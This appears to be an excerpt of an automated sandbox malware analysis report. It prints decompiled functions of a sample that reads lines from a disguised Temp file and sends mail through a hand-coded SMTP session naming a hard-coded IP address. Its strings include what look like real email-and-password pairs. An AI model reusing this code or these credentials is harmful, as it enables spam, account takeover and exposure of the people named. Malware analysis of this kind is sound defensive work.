                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 010A1972
                                                                                                                                                                                                                                                                                                                                                      • ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33, xrefs: 010A195D, 010A19E1, 010A1A04, 010A1A2A, 010A1A4D
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4022733741-2235993293
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 43389ada94be7e32748715ccbd5f52184435be2f551a97ad9eec9ebd3b8eb47e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fe150daf8328a1f22141a77a473df22de44088256322cc5a8f8d9a7651b00b95
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 43389ada94be7e32748715ccbd5f52184435be2f551a97ad9eec9ebd3b8eb47e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A4313574A80305BBEB24DBD4DC5AFAE7BB8BB04700F904558F6417E1C4D7B56A44CB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A2360 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101stringthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 171 10a2360-10a2397 GetTickCount srand _wfopen 172 10a239d 171->172 173 10a2426-10a244b call 10a1400 call 10a18b0 171->173 174 10a23a7-10a23c4 fgets 172->174 183 10a24ed-10a24ef ExitThread 173->183 184 10a2451-10a2467 call 10a18b0 173->184 176 10a23c6-10a23fd rand 174->176 177 10a2417-10a2423 fclose 174->177 179 10a23ff-10a2412 strcpy 176->179 180 10a2415 176->180 177->173 179->180 180->174 184->183 187 10a246d-10a2483 call 10a18b0 184->187 187->183 190 10a2485-10a24a3 call 10a2340 187->190 190->183 193 10a24a5-10a24d5 strtok 190->193 193->183 194 10a24d7-10a24e5 call 10a1a70 193->194 196 10a24ea 194->196 196->183
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 75%
                                                                                                                                                                                                                                                                                                                                                      			E010A2360() {
				char _v268;
				char _v532;
				struct _IO_FILE* _v536;
				long _v540;
				intOrPtr _v544;
				char* _v548;
				signed char _v552;
				int _t28;
				char* _t40;
				signed char _t42;
				void* _t57;
				void* _t59;
				signed long long _t70;

				_t28 = GetTickCount();
				srand(_t28);
				_push("r");
				_push("C:\Users\alfons\AppData\Local\Temp\6235107758290.jpg"); // executed
				L010A2946(); // executed
				_t59 = _t57 + 0xc;
				_v536 = _t28;
				if(_v536 == 0) {
					L7:
					E010A1400( &_v532);
					if(E010A18B0( &_v532, "@") != 0 && E010A18B0( &_v532, ":") != 0 && E010A18B0( &_v532, ".") != 0) {
						_v544 = E010A2340( &_v532, 0x3a);
						if(_v544 != 0) {
							_v544 = _v544 + 1;
							_v548 = strtok( &_v532, ":");
							if(_v548 != 0) {
								E010A1A70(_v548, _v544); // executed
							}
						}
					}
					ExitThread(0);
				} else {
					_v540 = 0;
					while(1) {
						_t40 = fgets( &_v268, 0x104, _v536); // executed
						_t59 = _t59 + 0xc;
						if(_t40 == 0) {
							break;
						}
						_v540 = _v540 + 1;
						_t42 = rand();
						_v552 = _t42;
						asm("fild dword [ebp-0x224]");
						_t70 = _t70 /  *0x10a3d20;
						asm("fild dword [ebp-0x218]");
						asm("fld1");
						asm("fdivrp st1, st0");
						asm("fcompp");
						asm("fnstsw ax");
						if((_t42 & 0x00000001) == 0) {
							strcpy( &_v532,  &_v268);
							_t59 = _t59 + 8;
						}
					}
					fclose(_v536); // executed
					_t59 = _t59 + 4;
					goto L7;
				}
			}
















                                                                                                                                                                                                                                                                                                                                                      0x010a2369
                                                                                                                                                                                                                                                                                                                                                      0x010a2370
                                                                                                                                                                                                                                                                                                                                                      0x010a2378
                                                                                                                                                                                                                                                                                                                                                      0x010a237d
                                                                                                                                                                                                                                                                                                                                                      0x010a2382
                                                                                                                                                                                                                                                                                                                                                      0x010a2387
                                                                                                                                                                                                                                                                                                                                                      0x010a238a
                                                                                                                                                                                                                                                                                                                                                      0x010a2397
                                                                                                                                                                                                                                                                                                                                                      0x010a2426
                                                                                                                                                                                                                                                                                                                                                      0x010a242d
                                                                                                                                                                                                                                                                                                                                                      0x010a244b
                                                                                                                                                                                                                                                                                                                                                      0x010a2496
                                                                                                                                                                                                                                                                                                                                                      0x010a24a3
                                                                                                                                                                                                                                                                                                                                                      0x010a24ae
                                                                                                                                                                                                                                                                                                                                                      0x010a24c8
                                                                                                                                                                                                                                                                                                                                                      0x010a24d5
                                                                                                                                                                                                                                                                                                                                                      0x010a24e5
                                                                                                                                                                                                                                                                                                                                                      0x010a24ea
                                                                                                                                                                                                                                                                                                                                                      0x010a24d5
                                                                                                                                                                                                                                                                                                                                                      0x010a24a3
                                                                                                                                                                                                                                                                                                                                                      0x010a24ef
                                                                                                                                                                                                                                                                                                                                                      0x010a239d
                                                                                                                                                                                                                                                                                                                                                      0x010a239d
                                                                                                                                                                                                                                                                                                                                                      0x010a23a7
                                                                                                                                                                                                                                                                                                                                                      0x010a23ba
                                                                                                                                                                                                                                                                                                                                                      0x010a23bf
                                                                                                                                                                                                                                                                                                                                                      0x010a23c4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a23cf
                                                                                                                                                                                                                                                                                                                                                      0x010a23d5
                                                                                                                                                                                                                                                                                                                                                      0x010a23da
                                                                                                                                                                                                                                                                                                                                                      0x010a23e0
                                                                                                                                                                                                                                                                                                                                                      0x010a23e6
                                                                                                                                                                                                                                                                                                                                                      0x010a23ec
                                                                                                                                                                                                                                                                                                                                                      0x010a23f2
                                                                                                                                                                                                                                                                                                                                                      0x010a23f4
                                                                                                                                                                                                                                                                                                                                                      0x010a23f6
                                                                                                                                                                                                                                                                                                                                                      0x010a23f8
                                                                                                                                                                                                                                                                                                                                                      0x010a23fd
                                                                                                                                                                                                                                                                                                                                                      0x010a240d
                                                                                                                                                                                                                                                                                                                                                      0x010a2412
                                                                                                                                                                                                                                                                                                                                                      0x010a2412
                                                                                                                                                                                                                                                                                                                                                      0x010a2415
                                                                                                                                                                                                                                                                                                                                                      0x010a241e
                                                                                                                                                                                                                                                                                                                                                      0x010a2423
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2423

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\user\AppData\Local\Temp\6235107758290.jpg, xrefs: 010A237D
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpystrtok
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\AppData\Local\Temp\6235107758290.jpg
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1857396134-2775377656
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 59116030819430fbf2ec5f64bb1fd3ac464b353aae858a46402ece76bbe115cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f4e4f190ebd5771dcba2ade48c88458e9e59dea33d97e85c5a3e98da28f08431
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59116030819430fbf2ec5f64bb1fd3ac464b353aae858a46402ece76bbe115cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ED31F3B1D8021DA7DB20EBE0EC88BDD7278BB34701F8445F8D58866140EA719BC4CF91
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A295C Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 197 10a295c-10a29d1 __set_app_type __p__fmode __p__commode call 10a2adb 200 10a29df-10a2a36 call 10a2ac6 _initterm __getmainargs _initterm 197->200 201 10a29d3-10a29de __setusermatherr 197->201 204 10a2a38-10a2a40 200->204 205 10a2a72-10a2a75 200->205 201->200 208 10a2a42-10a2a44 204->208 209 10a2a46-10a2a49 204->209 206 10a2a4f-10a2a53 205->206 207 10a2a77-10a2a7b 205->207 210 10a2a59-10a2a6a GetStartupInfoA 206->210 211 10a2a55-10a2a57 206->211 207->205 208->204 208->209 209->206 212 10a2a4b-10a2a4c 209->212 213 10a2a6c-10a2a70 210->213 214 10a2a7d-10a2a7f 210->214 211->210 211->212 212->206 215 10a2a80-10a2a8b GetModuleHandleA call 10a27f0 213->215 214->215 217 10a2a90-10a2aad exit _XcptFilter 215->217
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                                                                      			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x10a3d58);
				_push(0x10a2adc);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x10a5930 =  *0x10a5930 | 0xffffffff;
				 *0x10a5934 =  *0x10a5934 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x10a592c; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x10a5928; // 0x0
				 *_t24 = _t47;
				 *0x10a5938 = _adjust_fdiv;
				_t27 = E010A2ADB( *_adjust_fdiv);
				_t61 =  *0x10a5050; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E010A2AD8);
				}
				E010A2AC6(_t27);
				_push(0x10a500c);
				_push(0x10a5008);
				L010A2AC0();
				_t29 =  *0x10a5924; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x10a5920,  &_v112);
				_push(0x10a5004);
				_push(0x10a5000);
				L010A2AC0();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0)); // executed
				_t40 = E010A27F0(); // executed
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L010A2ABA();
				return _t41;
			}





























                                                                                                                                                                                                                                                                                                                                                      0x010a295f
                                                                                                                                                                                                                                                                                                                                                      0x010a2961
                                                                                                                                                                                                                                                                                                                                                      0x010a2966
                                                                                                                                                                                                                                                                                                                                                      0x010a2971
                                                                                                                                                                                                                                                                                                                                                      0x010a2972
                                                                                                                                                                                                                                                                                                                                                      0x010a297f
                                                                                                                                                                                                                                                                                                                                                      0x010a2984
                                                                                                                                                                                                                                                                                                                                                      0x010a2989
                                                                                                                                                                                                                                                                                                                                                      0x010a2990
                                                                                                                                                                                                                                                                                                                                                      0x010a2997
                                                                                                                                                                                                                                                                                                                                                      0x010a299e
                                                                                                                                                                                                                                                                                                                                                      0x010a29a4
                                                                                                                                                                                                                                                                                                                                                      0x010a29aa
                                                                                                                                                                                                                                                                                                                                                      0x010a29ac
                                                                                                                                                                                                                                                                                                                                                      0x010a29b2
                                                                                                                                                                                                                                                                                                                                                      0x010a29b8
                                                                                                                                                                                                                                                                                                                                                      0x010a29c1
                                                                                                                                                                                                                                                                                                                                                      0x010a29c6
                                                                                                                                                                                                                                                                                                                                                      0x010a29cb
                                                                                                                                                                                                                                                                                                                                                      0x010a29d1
                                                                                                                                                                                                                                                                                                                                                      0x010a29d8
                                                                                                                                                                                                                                                                                                                                                      0x010a29de
                                                                                                                                                                                                                                                                                                                                                      0x010a29df
                                                                                                                                                                                                                                                                                                                                                      0x010a29e4
                                                                                                                                                                                                                                                                                                                                                      0x010a29e9
                                                                                                                                                                                                                                                                                                                                                      0x010a29ee
                                                                                                                                                                                                                                                                                                                                                      0x010a29f3
                                                                                                                                                                                                                                                                                                                                                      0x010a29f8
                                                                                                                                                                                                                                                                                                                                                      0x010a2a11
                                                                                                                                                                                                                                                                                                                                                      0x010a2a17
                                                                                                                                                                                                                                                                                                                                                      0x010a2a1c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a21
                                                                                                                                                                                                                                                                                                                                                      0x010a2a2e
                                                                                                                                                                                                                                                                                                                                                      0x010a2a30
                                                                                                                                                                                                                                                                                                                                                      0x010a2a36
                                                                                                                                                                                                                                                                                                                                                      0x010a2a72
                                                                                                                                                                                                                                                                                                                                                      0x010a2a77
                                                                                                                                                                                                                                                                                                                                                      0x010a2a78
                                                                                                                                                                                                                                                                                                                                                      0x010a2a78
                                                                                                                                                                                                                                                                                                                                                      0x010a2a38
                                                                                                                                                                                                                                                                                                                                                      0x010a2a38
                                                                                                                                                                                                                                                                                                                                                      0x010a2a38
                                                                                                                                                                                                                                                                                                                                                      0x010a2a39
                                                                                                                                                                                                                                                                                                                                                      0x010a2a3c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a3e
                                                                                                                                                                                                                                                                                                                                                      0x010a2a49
                                                                                                                                                                                                                                                                                                                                                      0x010a2a4b
                                                                                                                                                                                                                                                                                                                                                      0x010a2a4b
                                                                                                                                                                                                                                                                                                                                                      0x010a2a4c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a4c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a49
                                                                                                                                                                                                                                                                                                                                                      0x010a2a4f
                                                                                                                                                                                                                                                                                                                                                      0x010a2a53
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2a59
                                                                                                                                                                                                                                                                                                                                                      0x010a2a60
                                                                                                                                                                                                                                                                                                                                                      0x010a2a6a
                                                                                                                                                                                                                                                                                                                                                      0x010a2a7f
                                                                                                                                                                                                                                                                                                                                                      0x010a2a6c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a6c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a6c
                                                                                                                                                                                                                                                                                                                                                      0x010a2a80
                                                                                                                                                                                                                                                                                                                                                      0x010a2a81
                                                                                                                                                                                                                                                                                                                                                      0x010a2a82
                                                                                                                                                                                                                                                                                                                                                      0x010a2a8a
                                                                                                                                                                                                                                                                                                                                                      0x010a2a8b
                                                                                                                                                                                                                                                                                                                                                      0x010a2a90
                                                                                                                                                                                                                                                                                                                                                      0x010a2a94
                                                                                                                                                                                                                                                                                                                                                      0x010a2a9a
                                                                                                                                                                                                                                                                                                                                                      0x010a2a9f
                                                                                                                                                                                                                                                                                                                                                      0x010a2aa1
                                                                                                                                                                                                                                                                                                                                                      0x010a2aa4
                                                                                                                                                                                                                                                                                                                                                      0x010a2aa5
                                                                                                                                                                                                                                                                                                                                                      0x010a2aa6
                                                                                                                                                                                                                                                                                                                                                      0x010a2aad

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 801014965-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0c9d778a5165c2d839ca9b0ce126562fbde4972aea2f138d3919b2a13fce15a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cc3a5f5425caf52917e581da138cbb4bf98a2f1e8241bc79c392d632344c70b7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0c9d778a5165c2d839ca9b0ce126562fbde4972aea2f138d3919b2a13fce15a1
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 30415B71980748AFDB30DFE8D865AAABBB8FB19720FA0016EF5C29B245D7754840CB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1BBD Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 218 10a1bbd-10a1bcc StrStrA 219 10a1bce-10a1bee wsprintfA 218->219 220 10a1bf0-10a1c0a wsprintfA 218->220 221 10a1c10-10a1c2c call 10a1120 219->221 220->221 224 10a1c3a-10a1c41 221->224 225 10a1c2e-10a1c35 221->225 226 10a22f3 224->226 225->226 228 10a1b2a-10a1b2e 226->228 229 10a22f8-10a2314 shutdown closesocket 226->229 228->229 230 10a1b34-10a1b44 call 10a1160 228->230 233 10a231a-10a2320 229->233 234 10a1b49-10a1b59 230->234 235 10a1b5b 234->235 236 10a1b60-10a1b7f call 10a11c0 234->236 235->229 239 10a1b81 236->239 240 10a1b86-10a1ba5 236->240 239->229 240->226 241 10a1bab 240->241 241->226
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wsprintf$closesocketshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: EHLO %s$HELO %s$[102.129.143.78]
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4205972133-2778707148
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b54a5b597a7a672a862c4dbdcab9fa02c344f44b8166db7deec5c08ce47b561e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: aa8e9efef8e7bec97ff298c8a86956e2b1d08cd9d83534b1a4d80484e0440adc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b54a5b597a7a672a862c4dbdcab9fa02c344f44b8166db7deec5c08ce47b561e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B21A4B5D00318EFCF20CBE4CC45BEEB7B4BB08204F8045A9E289A6100E7795655CF19
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1C46 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 242 10a1c46-10a1ca9 call 10a18d0 wsprintfA * 2 call 10a1120 247 10a1cab-10a1cb2 242->247 248 10a1cb7-10a1cbe 242->248 249 10a22f3 247->249 248->249 251 10a1b2a-10a1b2e 249->251 252 10a22f8-10a2314 shutdown closesocket 249->252 251->252 253 10a1b34-10a1b44 call 10a1160 251->253 256 10a231a-10a2320 252->256 257 10a1b49-10a1b59 253->257 258 10a1b5b 257->258 259 10a1b60-10a1b7f call 10a11c0 257->259 258->252 262 10a1b81 259->262 263 10a1b86-10a1ba5 259->263 262->252 263->249 264 10a1bab 263->264 264->249
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E010A1C46(void* __eflags) {
				void* _t171;
				void* _t176;
				intOrPtr _t180;
				char* _t181;
				void* _t189;
				void* _t207;
				void* _t209;
				void* _t213;
				void* _t215;

				L0:
				while(1) {
					L0:
					_t171 = E010A18D0(_t189, __eflags, _t207 - 0x4c8); // executed
					wsprintfA(_t207 - 0x88, "<JohnBlue@%s>", _t171);
					 *((intOrPtr*)(_t207 - 0x4cc)) = wsprintfA(_t207 - 0x490, "MAIL FROM: %s\r\n", _t207 - 0x88);
					_t176 = E010A1120( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490,  *((intOrPtr*)(_t207 - 0x4cc))); // executed
					_t213 = _t209 + 0x28;
					if(_t176 != 0) {
						 *(_t207 - 0x20) = 4;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t207 - 0x20) != 0 &&  *(_t207 - 0x20) != 8) {
						_t180 = E010A1160( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490, 0x400); // executed
						_t215 = _t213 + 0xc;
						 *((intOrPtr*)(_t207 - 0x90)) = _t180;
						if( *((intOrPtr*)(_t207 - 0x90)) != 0) {
							L5:
							 *((char*)(_t207 +  *((intOrPtr*)(_t207 - 0x90)) - 0x490)) = 0;
							_t181 = E010A11C0(_t207 - 0x490);
							_t213 = _t215 + 4;
							__eflags = _t181;
							if(_t181 != 0) {
								L7:
								 *(_t207 - 0x758) =  *(_t207 - 0x20);
								 *(_t207 - 0x758) =  *(_t207 - 0x758) - 1;
								__eflags =  *(_t207 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t207 - 0x758) * 4 +  &M010A2324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t184 = StrStrA(_t207 - 0x490);
										__eflags = _t184;
										if(_t184 == 0) {
											_t185 = wsprintfA(_t207 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t216 = _t213 + 0xc;
											 *(_t207 - 0x494) = _t185;
										} else {
											_t188 = wsprintfA(_t207 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t216 = _t213 + 0xc;
											 *(_t207 - 0x494) = _t188;
										}
										_t187 = E010A1120( *((intOrPtr*)(_t207 - 0x1c)), _t207 - 0x490,  *(_t207 - 0x494)); // executed
										_t213 = _t216 + 0xc;
										__eflags = _t187;
										if(_t187 != 0) {
											 *(_t207 - 0x20) = 3;
										} else {
											 *(_t207 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										goto L0;
									case 3:
										L18:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
